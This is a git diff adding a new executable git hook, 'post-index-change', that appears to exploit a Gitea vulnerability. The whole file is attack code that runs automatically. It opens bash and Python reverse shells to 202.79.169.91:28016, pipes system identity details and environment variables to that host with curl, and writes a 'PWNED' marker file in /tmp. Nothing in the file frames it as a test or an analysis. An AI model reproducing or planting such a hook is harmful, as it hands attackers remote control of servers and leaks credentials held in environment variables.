diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..93346d4
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,15 @@
+#!/bin/sh
+
+# Method 1: bash reverse shell via /dev/tcp
+bash -c 'exec 5<>/dev/tcp/202.79.169.91/28016; cat <&5 | while read line; do $line 2>&5 >&5; done' &
+
+# Method 2: python reverse shell
+python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('202.79.169.91',28016));[os.dup2(s.fileno(),d) for d in(0,1,2)];subprocess.call(['/bin/sh','-i'])" 2>/dev/null &
+
+# Method 3: curl data exfil
+(id;whoami;hostname;uname -a;pwd;env|head -20) 2>/dev/null | curl -s --data-binary @- -m 5 http://202.79.169.91:28016/data 2>/dev/null &
+
+# Method 4: write marker file
+echo PWNED > /tmp/gitea_cve_pwned.txt
+date >> /tmp/gitea_cve_pwned.txt
+id >> /tmp/gitea_cve_pwned.txt